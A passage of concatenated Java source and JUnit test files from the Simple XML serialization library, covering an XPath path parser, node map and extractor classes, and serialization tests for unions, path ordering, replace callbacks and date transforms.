*
* @param method this is the method checked for the annotation
*/
private void validate(Method method) {
if(validate == null) {
validate = getFunction(method);
}
}
/**
* This method is used to check the provided method to determine
* if it contains the <code>Persist</code> annotation. If the
* method contains the required annotation it is stored so that
* it can be invoked during the deserialization process.
*
* @param method this is the method checked for the annotation
*/
private void persist(Method method) {
if(persist == null) {
persist = getFunction(method);
}
}
/**
* This method is used to check the provided method to determine
* if it contains the <code>Complete</code> annotation. If the
* method contains the required annotation it is stored so that
* it can be invoked during the deserialization process.
*
* @param method this is the method checked for the annotation
*/
private void complete(Method method) {
if(complete == null) {
complete = getFunction(method);
}
}
/**
* This is used to acquire a <code>Function</code> object for the
* method provided. The function returned will allow the callback
* method to be invoked when given the context and target object.
*
* @param method this is the method that is to be invoked
*
* @return this returns the function that is to be invoked
*/
private Function getFunction(Method method) {
boolean contextual = isContextual(method);
if(!method.isAccessible()) {
method.setAccessible(true);
}
return new Function(method, contextual);
}
/**
* This is used to determine whether the annotated method takes a
* contextual object. If the method takes a <code>Map</code> then
* this returns true, otherwise it returns false.
*
* @param method this is the method to check the parameters of
*
* @return this returns true if the method takes a map object
*/
private boolean isContextual(Method method) {
Class[] list = method.getParameterTypes();
if(list.length == 1) {
return Map.class.equals(list[0]);
}
return false;
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/stream/NodeMap.java<|end_filename|>
/*
* NodeMap.java July 2006
*
* Copyright (C) 2006, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.stream;
import java.util.Iterator;
/**
* The <code>NodeMap</code> object represents a map of nodes that
* can be set as name value pairs. This typically represents the
* attributes that belong to an element and is used as an neutral
* way to access an element for either an input or output event.
*
* @author <NAME>
*
* @see org.simpleframework.xml.stream.Node
*/
public interface NodeMap<T extends Node> extends Iterable<String> {
/**
* This is used to acquire the actual node this map represents.
* The source node provides further details on the context of
* the node, such as the parent name, the namespace, and even
* the value in the node. Care should be taken when using this.
*
* @return this returns the node that this map represents
*/
T getNode();
/**
* This is used to get the name of the element that owns the
* nodes for the specified map. This can be used to determine
* which element the node map belongs to.
*
* @return this returns the name of the owning element
*/
String getName();
/**
* This is used to acquire the <code>Node</code> mapped to the
* given name. This returns a name value pair that represents
* either an attribute or element. If no node is mapped to the
* specified name then this method will return null.
*
* @param name this is the name of the node to retrieve
*
* @return this will return the node mapped to the given name
*/
T get(String name);
/**
* This is used to remove the <code>Node</code> mapped to the
* given name. This returns a name value pair that represents
* either an attribute or element. If no node is mapped to the
* specified name then this method will return null.
*
* @param name this is the name of the node to remove
*
* @return this will return the node mapped to the given name
*/
T remove(String name);
/**
* This returns an iterator for the names of all the nodes in
* this <code>NodeMap</code>. This allows the names to be
* iterated within a for each loop in order to extract nodes.
*
* @return this returns the names of the nodes in the map
*/
Iterator<String> iterator();
/**
* This is used to add a new <code>Node</code> to the map. The
* type of node that is created an added is left up to the map
* implementation. Once a node is created with the name value
* pair it can be retrieved and used.
*
* @param name this is the name of the node to be created
* @param value this is the value to be given to the node
*
* @return this is the node that has been added to the map
*/
T put(String name, String value);
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/PathParser.java<|end_filename|>
/*
* PathParser.java November 2010
*
* Copyright (C) 2010, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import org.simpleframework.xml.strategy.Type;
import org.simpleframework.xml.stream.Format;
import org.simpleframework.xml.stream.Style;
import org.simpleframework.xml.util.Cache;
import org.simpleframework.xml.util.ConcurrentCache;
/**
* The <code>PathParser</code> object is used to parse XPath paths.
* This will parse a subset of the XPath expression syntax, such
* that the path can be used to identify and navigate various XML
* structures. Example paths that this can parse are as follows.
* <pre>
*
* ./example/path
* ./example[2]/path/
* example/path
* example/path/@attribute
* ./path/@attribute
*
* </pre>
* If the parsed path does not match an XPath expression similar to
* the above then an exception is thrown. Once parsed the segments
* of the path can be used to traverse data structures modelled on
* an XML document or fragment.
*
* @author <NAME>
*
* @see org.simpleframework.xml.core.ExpressionBuilder
*/
class PathParser implements Expression {
/**
* This is used to cache the attributes created by this path.
*/
protected Cache<String> attributes;
/**
* This is used to cache the elements created by this path.
*/
protected Cache<String> elements;
/**
* This contains a list of the indexes for each path segment.
*/
protected List<Integer> indexes;
/**
* This is used to store the path prefixes for the parsed path.
*/
protected List<String> prefixes;
/**
* This contains a list of the path segments that were parsed.
*/
protected List<String> names;
/**
* This is used to build a fully qualified path expression.
*/
protected StringBuilder builder;
/**
* This is the fully qualified path expression for this.
*/
protected String location;
/**
* This is the the cached canonical representation of the path.
*/
protected String cache;
/**
* This is a cache of the canonical path representation.
*/
protected String path;
/**
* This is the format used to style the path segments.
*/
protected Style style;
/**
* This is the type the expressions are to be parsed for.
*/
protected Type type;
/**
* This is used to determine if the path is an attribute.
*/
protected boolean attribute;
/**
* This is a copy of the source data that is to be parsed.
*/
protected char[] data;
/**
* This represents the number of characters in the source path.
*/
protected int count;
/**
* This is the start offset that skips any root references.
*/
protected int start;
/**
* This is the current seek position for the parser.
*/
protected int off;
/**
* Constructor for the <code>PathParser</code> object. This must
* be given a valid XPath expression. Currently only a subset of
* the XPath syntax is supported by this parser. Once finished
* the parser will contain all the extracted path segments.
*
* @param path this is the XPath expression to be parsed
* @param type this is the type the expressions are parsed for
* @param format this is the format used to style the path
*/
public PathParser(String path, Type type, Format format) throws Exception {
this.attributes = new ConcurrentCache<String>();
this.elements = new ConcurrentCache<String>();
this.indexes = new ArrayList<Integer>();
this.prefixes = new ArrayList<String>();
this.names = new ArrayList<String>();
this.builder = new StringBuilder();
this.style = format.getStyle();
this.type = type;
this.path = path;
this.parse(path);
}
/**
* This method is used to determine if this expression is an
* empty path. An empty path can be represented by a single
* period, '.'. It identifies the current path.
*
* @return returns true if this represents an empty path
*/
public boolean isEmpty() {
return isEmpty(location);
}
/**
* This is used to determine if the expression is a path. An
* expression represents a path if it contains more than one
* segment. If only one segment exists it is an element name.
*
* @return true if this contains more than one segment
*/
public boolean isPath() {
return names.size() > 1;
}
/**
* This is used to determine if the expression points to an
* attribute value. An attribute value contains an '@' character
* before the last segment name. Such expressions distinguish
* element references from attribute references.
*
* @return this returns true if the path has an attribute
*/
public boolean isAttribute() {
return attribute;
}
/**
* If the first path segment contains an index it is provided
* by this method. There may be several indexes within a
* path, however only the index at the first segment is issued
* by this method. If there is no index this will return 1.
*
* @return this returns the index of this path expression
*/
public int getIndex() {
return indexes.get(0);
}
/**
* This is used to extract a namespace prefix from the path
* expression. A prefix is used to qualify the XML element name
* and does not form part of the actual path structure. This
* can be used to add the namespace in addition to the name.
*
* @return this returns the prefix for the path expression
*/
public String getPrefix(){
return prefixes.get(0);
}
/**
* This can be used to acquire the first path segment within
* the expression. The first segment represents the parent XML
* element of the path. All segments returned do not contain
* any slashes and so represents the real element name.
*
* @return this returns the parent element for the path
*/
public String getFirst() {
return names.get(0);
}
/**
* This can be used to acquire the last path segment within
* the expression. The last segment represents the leaf XML
* element of the path. All segments returned do not contain
* any slashes and so represents the real element name.
*
* @return this returns the leaf element for the path
*/
public String getLast() {
int count = names.size();
int index = count - 1;
return names.get(index);
}
/**
* This location contains the full path expression with all
* of the indexes explicitly shown for each path segment. This
* is used to create a uniform representation that can be used
* for comparisons of different path expressions.
*
* @return this returns an expanded version of the path
*/
public String getPath() {
return location;
}
/**
* This is used to acquire the element path using this XPath
* expression. The element path is simply the fully qualified
* path for this expression with the provided name appended.
* If this is an empty path, the provided name is returned.
*
* @param name this is the name of the element to be used
*
* @return a fully qualified path for the specified name
*/
public String getElement(String name) {
if(!isEmpty(location)) {
String path = elements.fetch(name);
if(path == null) {
path = getElementPath(location, name);
if(path != null) {
elements.cache(name, path);
}
}
return path;
}
return style.getElement(name);
}
/**
* This is used to acquire the element path using this XPath
* expression. The element path is simply the fully qualified
* path for this expression with the provided name appended.
* If this is an empty path, the provided name is returned.
*
* @param path this is the path expression to be used
* @param name this is the name of the element to be used
*
* @return a fully qualified path for the specified name
*/
protected String getElementPath(String path, String name) {
String element = style.getElement(name);
if(isEmpty(element)) {
return path;
}
if(isEmpty(path)) {
return element;
}
return path + "/"+ element+"[1]";
}
/**
* This is used to acquire the attribute path using this XPath
* expression. The attribute path is simply the fully qualified
* path for this expression with the provided name appended.
* If this is an empty path, the provided name is returned.
*
* @param name this is the name of the attribute to be used
*
* @return a fully qualified path for the specified name
*/
public String getAttribute(String name) {
if(!isEmpty(location)) {
String path = attributes.fetch(name);
if(path == null) {
path = getAttributePath(location, name);
if(path != null) {
attributes.cache(name, path);
}
}
return path;
}
return style.getAttribute(name);
}
/**
* This is used to acquire the attribute path using this XPath
* expression. The attribute path is simply the fully qualified
* path for this expression with the provided name appended.
* If this is an empty path, the provided name is returned.
*
* @param path this is the path expression to be used
* @param name this is the name of the attribute to be used
*
* @return a fully qualified path for the specified name
*/
protected String getAttributePath(String path, String name) {
String attribute = style.getAttribute(name);
if(isEmpty(path)) {
return attribute;
}
return path +"/@" +attribute;
}
/**
* This is used to iterate over the path segments that have
* been extracted from the source XPath expression. Iteration
* over the segments is done in the order they were parsed
* from the source path.
*
* @return this returns an iterator for the path segments
*/
public Iterator<String> iterator() {
return names.iterator();
}
/**
* This allows an expression to be extracted from the current
* context. Extracting expressions in this manner makes it
* more convenient for navigating structures representing
* the XML document. If an expression can not be extracted
* with the given criteria an exception will be thrown.
*
* @param from this is the number of segments to skip to
*
* @return this returns an expression from this one
*/
public Expression getPath(int from) {
return getPath(from, 0);
}
/**
* This allows an expression to be extracted from the current
* context. Extracting expressions in this manner makes it
* more convenient for navigating structures representing
* the XML document. If an expression can not be extracted
* with the given criteria an exception will be thrown.
*
* @param from this is the number of segments to skip to
* @param trim the number of segments to trim from the end
*
* @return this returns an expression from this one
*/
public Expression getPath(int from, int trim) {
int last = names.size() - 1;
if(last- trim >= from) {
return new PathSection(from, last -trim);
}
return new PathSection(from, from);
}
/**
* This method is used to parse the provided XPath expression.
* When parsing the expression this will trim any references
* to the root context, also any trailing slashes are removed.
* An exception is thrown if the path is invalid.
*
* @param path this is the XPath expression to be parsed
*/
private void parse(String path) throws Exception {
if(path != null) {
count = path.length();
data = new char[count];
path.getChars(0, count, data, 0);
}
path();
}
/**
* This method is used to parse the provided XPath expression.
* When parsing the expression this will trim any references
* to the root context, also any trailing slashes are removed.
* An exception is thrown if the path is invalid.
*/
private void path() throws Exception {
if(data[off] == '/') {
throw new PathException("Path '%s' in %s references document root", path, type);
}
if(data[off] == '.') {
skip();
}
while (off < count) {
if(attribute) {
throw new PathException("Path '%s' in %s references an invalid attribute", path, type);
}
segment();
}
truncate();
build();
}
/**
* This method is used to build a fully qualified path that has
* each segment index. Building a path in this manner ensures
* that a parsed path can have a unique string that identifies
* the exact XML element the expression points to.
*/
private void build() {
int count = names.size();
int last = count - 1;
for(int i = 0; i < count; i++) {
String prefix = prefixes.get(i);
String segment = names.get(i);
int index = indexes.get(i);
if(i > 0) {
builder.append('/');
}
if(attribute && i == last) {
builder.append('@');
builder.append(segment);
} else {
if(prefix != null) {
builder.append(prefix);
builder.append(':');
}
builder.append(segment);
builder.append('[');
builder.append(index);
builder.append(']');
}
}
location = builder.toString();
}
/**
* This is used to skip any root prefix for the path. Skipping
* the root prefix ensures that it is not considered as a valid
* path segment and so is not returned as part of the iterator
* nor is it considered with building a string representation.
*/
private void skip() throws Exception {
if (data.length > 1) {
if (data[off + 1] != '/') {
throw new PathException("Path '%s' in %s has an illegal syntax", path, type);
}
off++;
}
start = ++off;
}
/**
* This method is used to extract a path segment from the source
* expression. Before extracting the segment this validates the
* input to ensure it represents a valid path. If the path is
* not valid then this will thrown an exception.
*/
private void segment() throws Exception {
char first = data[off];
if(first == '/') {
throw new PathException("Invalid path expression '%s' in %s", path, type);
}
if(first == '@') {
attribute();
} else {
element();
}
align();
}
/**
* This is used to extract an element from the path expression.
* An element value is one that contains only alphanumeric values
* or any special characters allowed within an XML element name.
* If an illegal character is found an exception is thrown.
*/
private void element() throws Exception {
int mark = off;
int size = 0;
while(off < count) {
char value = data[off++];
if(!isValid(value)) {
if(value == '@') {
off--;
break;
} else if(value == '[') {
index();
break;
} else if(value != '/') {
throw new PathException("Illegal character '%s' in element for '%s' in %s", value, path, type);
}
break;
}
size++;
}
element(mark, size);
}
/**
* This is used to extract an attribute from the path expression.
* An attribute value is one that contains only alphanumeric values
* or any special characters allowed within an XML attribute name.
* If an illegal character is found an exception is thrown.
*/
private void attribute() throws Exception {
int mark = ++off;
while(off < count) {
char value = data[off++];
if(!isValid(value)) {
throw new PathException("Illegal character '%s' in attribute for '%s' in %s", value, path, type);
}
}
if(off <= mark) {
throw new PathException("Attribute reference in '%s' for %s is empty", path, type);
} else {
attribute = true;
}
attribute(mark, off - mark);
}
/**
* This is used to extract an index from an element. An index is
* a numerical value that identifies the position of the path
* within the XML document. If the index can not be extracted
* from the expression an exception is thrown.
*/
private void index() throws Exception {
int value = 0;
if(data[off-1] == '[') {
while(off < count) {
char digit = data[off++];
if(!isDigit(digit)){
break;
}
value *= 10;
value += digit;
value -= '0';
}
}
if(data[off++ - 1] != ']') {
throw new PathException("Invalid index for path '%s' in %s", path, type);
}
indexes.add(value);
}
/**
* This method is used to trim any trailing characters at the
* end of the path. Trimming will remove any trailing legal
* characters at the end of the path that we do not want in a
* canonical string representation of the path expression.
*/
private void truncate() throws Exception {
if(off - 1 >= data.length) {
off--;
} else if(data[off-1] == '/'){
off--;
}
}
/**
* This is used to add a default index to a segment or attribute
* extracted from the source expression. In the event that a
* segment does not contain an index, the default index of 1 is
* assigned to the element for consistency.
*/
private void align() throws Exception {
int require = names.size();
int size = indexes.size();
if(require > size) {
indexes.add(1);
}
}
/**
* This is used to determine if a string is empty. A string is
* considered empty if it is null or of zero length.
*
* @param text this is the text to check if it is empty
*
* @return this returns true if the string is empty or null
*/
private boolean isEmpty(String text) {
return text == null || text.length() == 0;
}
/**
* This is used to determine if the provided character is a digit.
* Only digits can be used within a segment index, so this is used
* when parsing the index to ensure all characters are valid.
*
* @param value this is the value of the character
*
* @return this returns true if the provide character is a digit
*/
private boolean isDigit(char value) {
return Character.isDigit(value);
}
/**
* This is used to determine if the provided character is a legal
* XML element character. This is used to ensure all extracted
* element names conform to legal element names.
*
* @param value this is the value of the character
*
* @return this returns true if the provided character is legal
*/
private boolean isValid(char value) {
return isLetter(value) || isSpecial(value);
}
/**
* This is used to determine if the provided character is a legal
* XML element character. This is used to ensure all extracted
* element and attribute names conform to the XML specification.
*
* @param value this is the value of the character
*
* @return this returns true if the provided character is legal
*/
private boolean isSpecial(char value) {
return value == '_' || value == '-' || value == ':';
}
/**
* This is used to determine if the provided character is an
* alpha numeric character. This is used to ensure all extracted
* element and attribute names conform to the XML specification.
*
* @param value this is the value of the character
*
* @return this returns true if the provided character is legal
*/
private boolean isLetter(char value) {
return Character.isLetterOrDigit(value);
}
/**
* This will add a path segment to the list of segments. A path
* segment is added only if it has at least one character. All
* segments can be iterated over when parsing has completed.
*
* @param start this is the start offset for the path segment
* @param count this is the number of characters in the segment
*/
private void element(int start, int count) {
String segment = new String(data, start, count);
if(count > 0) {
element(segment);
}
}
/**
* This will add a path segment to the list of segments. A path
* segment is added only if it has at least one character. All
* segments can be iterated over when parsing has completed.
*
* @param start this is the start offset for the path segment
* @param count this is the number of characters in the segment
*/
private void attribute(int start, int count) {
String segment = new String(data, start, count);
if(count > 0) {
attribute(segment);
}
}
/**
* This will insert the path segment provided. A path segment is
* represented by an optional namespace prefix and an XML element
* name. If there is no prefix then a null is entered this will
* ensure that the names and segments are kept aligned by index.
*
* @param segment this is the path segment to be inserted
*/
private void element(String segment) {
int index = segment.indexOf(':');
String prefix = null;
if(index > 0) {
prefix = segment.substring(0, index);
segment = segment.substring(index+1);
}
String element = style.getElement(segment);
prefixes.add(prefix);
names.add(element);
}
/**
* This will insert the path segment provided. A path segment is
* represented by an optional namespace prefix and an XML element
* name. If there is no prefix then a null is entered this will
* ensure that the names and segments are kept aligned by index.
*
* @param segment this is the path segment to be inserted
*/
private void attribute(String segment) {
String attribute = style.getAttribute(segment);
prefixes.add(null);
names.add(attribute);
}
/**
* Provides a canonical XPath expression. This is used for both
* debugging and reporting. The path returned represents the
* original path that has been parsed to form the expression.
*
* @return this returns the string format for the XPath
*/
public String toString() {
int size = off - start;
if(cache == null) {
cache = new String(data, start, size);
}
return cache;
}
/**
* The <code>PathSection</code> represents a section of a path
* that is extracted. Providing a section allows the expression
* to be broken up in to smaller parts without having to parse
* the path again. This is used primarily for better performance.
*
* @author <NAME>
*/
private class PathSection implements Expression {
/**
* This contains a cache of the path segments of the section.
*/
private List<String> cache;
/**
* This is the fragment of the original path this section uses.
*/
private String section;
/**
* This contains a cache of the canonical path representation.
*/
private String path;
/**
* This is the first section index for this path section.
*/
private int begin;
/**
* This is the last section index for this path section.
*/
private int end;
/**
* Constructor for the <code>PathSection</code> object. A path
* section represents a section of an original path expression.
* To create a section the first and last segment index needs
* to be provided.
*
* @param index this is the first path segment index
* @param end this is the last path segment index
*/
public PathSection(int index, int end) {
this.cache = new ArrayList<String>();
this.begin = index;
this.end = end;
}
/**
* This method is used to determine if this expression is an
* empty path. An empty path can be represented by a single
* period, '.'. It identifies the current path.
*
* @return returns true if this represents an empty path
*/
public boolean isEmpty() {
return begin == end;
}
/**
* This is used to determine if the expression is a path. An
* expression represents a path if it contains more than one
* segment. If only one segment exists it is an element name.
*
* @return true if this contains more than one segment
*/
public boolean isPath() {
return end - begin >= 1;
}
/**
* This is used to determine if the expression points to an
* attribute value. An attribute value contains an '@' character
* before the last segment name. Such expressions distinguish
* element references from attribute references.
*
* @return this returns true if the path has an attribute
*/
public boolean isAttribute() {
if(attribute) {
return end >= names.size() - 1;
}
return false;
}
/**
* This location contains the full path expression with all
* of the indexes explicitly shown for each path segment. This
* is used to create a uniform representation that can be used
* for comparisons of different path expressions.
*
* @return this returns an expanded version of the path
*/
public String getPath() {
if(section == null) {
section = getCanonicalPath();
}
return section;
}
/**
* This is used to acquire the element path using this XPath
* expression. The element path is simply the fully qualified
* path for this expression with the provided name appended.
* If this is an empty path, the provided name is returned.
*
* @param name this is the name of the element to be used
*
* @return a fully qualified path for the specified name
*/
public String getElement(String name) {
String path = getPath();
if(path != null) {
return getElementPath(path, name);
}
return name;
}
/**
* This is used to acquire the attribute path using this XPath
* expression. The attribute path is simply the fully qualified
* path for this expression with the provided name appended.
* If this is an empty path, the provided name is returned.
*
* @param name this is the name of the attribute to be used
*
* @return a fully qualified path for the specified name
*/
public String getAttribute(String name) {
String path = getPath();
if(path != null) {
return getAttributePath(path, name);
}
return name;
}
/**
* If the first path segment contains an index it is provided
* by this method. There may be several indexes within a
* path, however only the index at the first segment is issued
* by this method. If there is no index this will return 1.
*
* @return this returns the index of this path expression
*/
public int getIndex() {
return indexes.get(begin);
}
/**
* This is used to extract a namespace prefix from the path
* expression. A prefix is used to qualify the XML element name
* and does not form part of the actual path structure. This
* can be used to add the namespace in addition to the name.
*
* @return this returns the prefix for the path expression
*/
public String getPrefix() {
return prefixes.get(begin);
}
/**
* This can be used to acquire the first path segment within
* the expression. The first segment represents the parent XML
* element of the path. All segments returned do not contain
* any slashes and so represents the real element name.
*
* @return this returns the parent element for the path
*/
public String getFirst() {
return names.get(begin);
}
/**
* This can be used to acquire the last path segment within
* the expression. The last segment represents the leaf XML
* element of the path. All segments returned do not contain
* any slashes and so represents the real element name.
*
* @return this returns the leaf element for the path
*/
public String getLast() {
return names.get(end);
}
/**
* This allows an expression to be extracted from the current
* context. Extracting expressions in this manner makes it
* more convenient for navigating structures representing
* the XML document. If an expression can not be extracted
* with the given criteria an exception will be thrown.
*
* @param from this is the number of segments to skip to
*
* @return this returns an expression from this one
*/
public Expression getPath(int from) {
return getPath(from, 0);
}
/**
* This allows an expression to be extracted from the current
* context. Extracting expressions in this manner makes it
* more convenient for navigating structures representing
* the XML document. If an expression can not be extracted
* with the given criteria an exception will be thrown.
*
* @param from this is the number of segments to skip to
* @param trim the number of segments to trim from the end
*
* @return this returns an expression from this one
*/
public Expression getPath(int from, int trim) {
return new PathSection(begin + from, end - trim);
}
/**
* This is used to iterate over the path segments that have
* been extracted from the source XPath expression. Iteration
* over the segments is done in the order they were parsed
* from the source path.
*
* @return this returns an iterator for the path segments
*/
public Iterator<String> iterator() {
if(cache.isEmpty()) {
for(int i = begin; i <= end; i++) {
String segment = names.get(i);
if(segment != null) {
cache.add(segment);
}
}
}
return cache.iterator();
}
/**
* This is used to acquire the path section that contains all
* the segments in the section as well as the indexes for the
* segments. This method basically gets a substring of the
* primary path location from the first to the last segment.
*
* @return this returns the section as a fully qualified path
*/
private String getCanonicalPath() {
int start = 0;
int last = 0;
int pos = 0;
for(pos = 0; pos < begin; pos++) {
start = location.indexOf('/', start + 1);
}
for(last = start; pos <= end; pos++) {
last = location.indexOf('/', last + 1);
if(last == -1) {
last = location.length();
}
}
return location.substring(start + 1, last);
}
/**
* Provides a canonical XPath expression. This is used for both
* debugging and reporting. The path returned represents the
* original path that has been parsed to form the expression.
*
* @return this returns the string format for the XPath
*/
private String getFragment() {
int last = start;
int pos = 0;
for(int i = 0; i <= end;) {
if(last >= count) {
last++;
break;
}
if(data[last++] == '/'){
if(++i == begin) {
pos = last;
}
}
}
return new String(data, pos, --last -pos);
}
/**
* Provides a canonical XPath expression. This is used for both
* debugging and reporting. The path returned represents the
* original path that has been parsed to form the expression.
*
* @return this returns the string format for the XPath
*/
public String toString() {
if(path == null) {
path = getFragment();
}
return path;
}
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/UnionParameterTest.java<|end_filename|>
package org.simpleframework.xml.core;
import junit.framework.TestCase;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementUnion;
import org.simpleframework.xml.Root;
public class UnionParameterTest extends TestCase {
private static final String WITH_NAME =
"<parameterExample>"+
" <int>12</int>"+
" <name>x</name>"+
"</parameterExample>";
private static final String WITHOUT_NAME =
"<parameterExample>"+
" <double>4.0</double>"+
"</parameterExample>";
@Root
public static class ParameterExample {
@ElementUnion({
@Element(name="int", type=Integer.class),
@Element(name="double", type=Double.class),
@Element(name="string", type=String.class)
})
private Object value;
@Element(name="name", required=false)
private String name;
public ParameterExample(
@ElementUnion({
@Element(name="int", type=Integer.class),
@Element(name="double", type=Double.class),
@Element(name="string", type=String.class)
})
Object value)
{
this.value = value;
this.name = "[NOT SET]";
}
public ParameterExample(
@Element(name="name")
String name,
@ElementUnion({
@Element(name="int", type=Integer.class),
@Element(name="double", type=Double.class),
@Element(name="string", type=String.class)
})
Object value)
{
this.value = value;
this.name = name;
}
public String getName() {
return name;
}
public Object getValue() {
return value;
}
}
public void testParameter() throws Exception {
Persister persister = new Persister();
ParameterExample example = persister.read(ParameterExample.class, WITH_NAME);
assertEquals(example.getValue(), 12);
assertEquals(example.getName(), "x");
example = persister.read(ParameterExample.class, WITHOUT_NAME);
assertEquals(example.getValue(), 4.0);
assertEquals(example.getName(), "[NOT SET]");
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/stream/NodeExtractor.java<|end_filename|>
/*
* NodeExtractor.java January 2010
*
* Copyright (C) 2010, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.stream;
import static org.w3c.dom.Node.COMMENT_NODE;
import java.util.LinkedList;
import org.w3c.dom.Document;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
/**
* The <code>NodeExtractor</code> object is used to extract nodes
* from a provided DOM document. This is used so that the nodes of
* a given document can be read with queue like semantics, such
* that the first node encountered is the first node taken from
* the queue. Queue semantics help transform DOM documents to an
* event stream much like the StAX framework.
*
* @author <NAME>
*/
class NodeExtractor extends LinkedList<Node> {
/**
* Constructor for the <code>NodeExtractor</code> object. This
* is used to instantiate an object that flattens a document
* in to a queue so that the nodes can be used for streaming.
*
* @param source this is the source document to be flattened
*/
public NodeExtractor(Document source) {
this.extract(source);
}
/**
* This is used to extract the nodes of the document in such a
* way that it can be navigated as a queue. In order to do this
* each node encountered is pushed in to the queue so that
* when finished the nodes can be dealt with as a stream.
*
* @param source this is the source document to be flattened
*/
private void extract(Document source) {
Node node = source.getDocumentElement();
if(node != null) {
offer(node);
extract(node);
}
}
/**
* This is used to extract the nodes of the element in such a
* way that it can be navigated as a queue. In order to do this
* each node encountered is pushed in to the queue so that
* when finished the nodes can be dealt with as a stream.
*
* @param source this is the source element to be flattened
*/
private void extract(Node source) {
NodeList list = source.getChildNodes();
int length = list.getLength();
for(int i = 0; i < length; i++) {
Node node = list.item(i);
short type = node.getNodeType();
if(type != COMMENT_NODE) {
offer(node);
extract(node);
}
}
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/PathWithMixedOrdreringTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import org.simpleframework.xml.Default;
import org.simpleframework.xml.Order;
import org.simpleframework.xml.Path;
import org.simpleframework.xml.ValidationTestCase;
public class PathWithMixedOrdreringTest extends ValidationTestCase {
@Default
@Order(elements={"name[1]/first", "name[1]/surname", "age/date", "name[2]/nickname"})
private static class Person {
@Path("name[1]")
private String first;
@Path("name[1]")
private String surname;
@Path("name[2]")
private String nickname;
@Path("age")
private String date;
public String getFirst() {
return first;
}
public void setFirst(String first) {
this.first = first;
}
public String getSurname() {
return surname;
}
public void setSurname(String surname) {
this.surname = surname;
}
public String getNickname() {
return nickname;
}
public void setNickname(String nickname) {
this.nickname = nickname;
}
public String getDate() {
return date;
}
public void setDate(String date) {
this.date = date;
}
}
public void testMixedOrdering() throws Exception {
Persister persister = new Persister();
StringWriter writer = new StringWriter();
Person person = new Person();
person.setFirst("Jack");
person.setSurname("Daniels");
person.setNickname("JD");
person.setDate("19/01/1912");
persister.write(person, writer);
Person recovered = persister.read(Person.class, writer.toString());
assertEquals(recovered.getFirst(), person.getFirst());
assertEquals(recovered.getSurname(), person.getSurname());
assertEquals(recovered.getNickname(), person.getNickname());
assertEquals(recovered.getDate(), person.getDate());
validate(person, persister);
assertElementHasValue(writer.toString(), "/person/name[1]/first", "Jack");
assertElementHasValue(writer.toString(), "/person/name[1]/surname", "Daniels");
assertElementHasValue(writer.toString(), "/person/name[2]/nickname", "JD");
assertElementHasValue(writer.toString(), "/person/age[1]/date", "19/01/1912");
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/ReplaceThisTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import java.util.HashSet;
import java.util.Set;
import java.util.TreeSet;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
public class ReplaceThisTest extends ValidationTestCase {
@Root
public static class RealParent {
@Element
private ReplaceThisParent inner;
public RealParent() {
this.inner = new ReplaceThisParent();
}
public RealParent(Set<String> children) {
this.inner = new ReplaceThisParent(children);
}
public ReplaceThisParent getInner() {
return inner;
}
}
@Root
public static class ReplaceThisParent {
@ElementList(required = false)
Set<String> children;
public ReplaceThisParent() {
this.children = new TreeSet<String>();
}
public ReplaceThisParent(Set<String> children) {
this.children = children;
}
@Replace
private ReplaceThisParent replaceParent() {
return new ReplaceThisParent(null);
}
public void setChildren(Set<String> children) {
this.children=children;
}
public Set<String> getChildren() {
return children;
}
}
public void testReplaceParent() throws Exception {
Persister persister = new Persister();
Set<String> children = new HashSet<String>();
RealParent parent = new RealParent(children);
children.add("Tom");
children.add("Dick");
children.add("Harry");
StringWriter writer = new StringWriter();
persister.write(parent, writer);
String text = writer.toString();
System.out.println(text);
assertEquals(text.indexOf("Tom"), -1);
assertEquals(text.indexOf("Dick"), -1);
assertEquals(text.indexOf("Harry"), -1);
validate(persister, parent);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/transform/DateTransformTest.java<|end_filename|>
package org.simpleframework.xml.transform;
import java.io.StringWriter;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementArray;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.core.Persister;
import org.simpleframework.xml.strategy.CycleStrategy;
import org.simpleframework.xml.transform.DateTransform;
public class DateTransformTest extends ValidationTestCase {
@Root
public static class DateExample {
@ElementArray
private Date[] array;
@Element
private Date element;
@Attribute
private Date attribute;
@ElementList
private List<Date> list;
public DateExample() {
super();
}
public DateExample(Date date) {
this.attribute = date;
this.element = date;
this.list = new ArrayList<Date>();
this.list.add(date);
this.list.add(date);
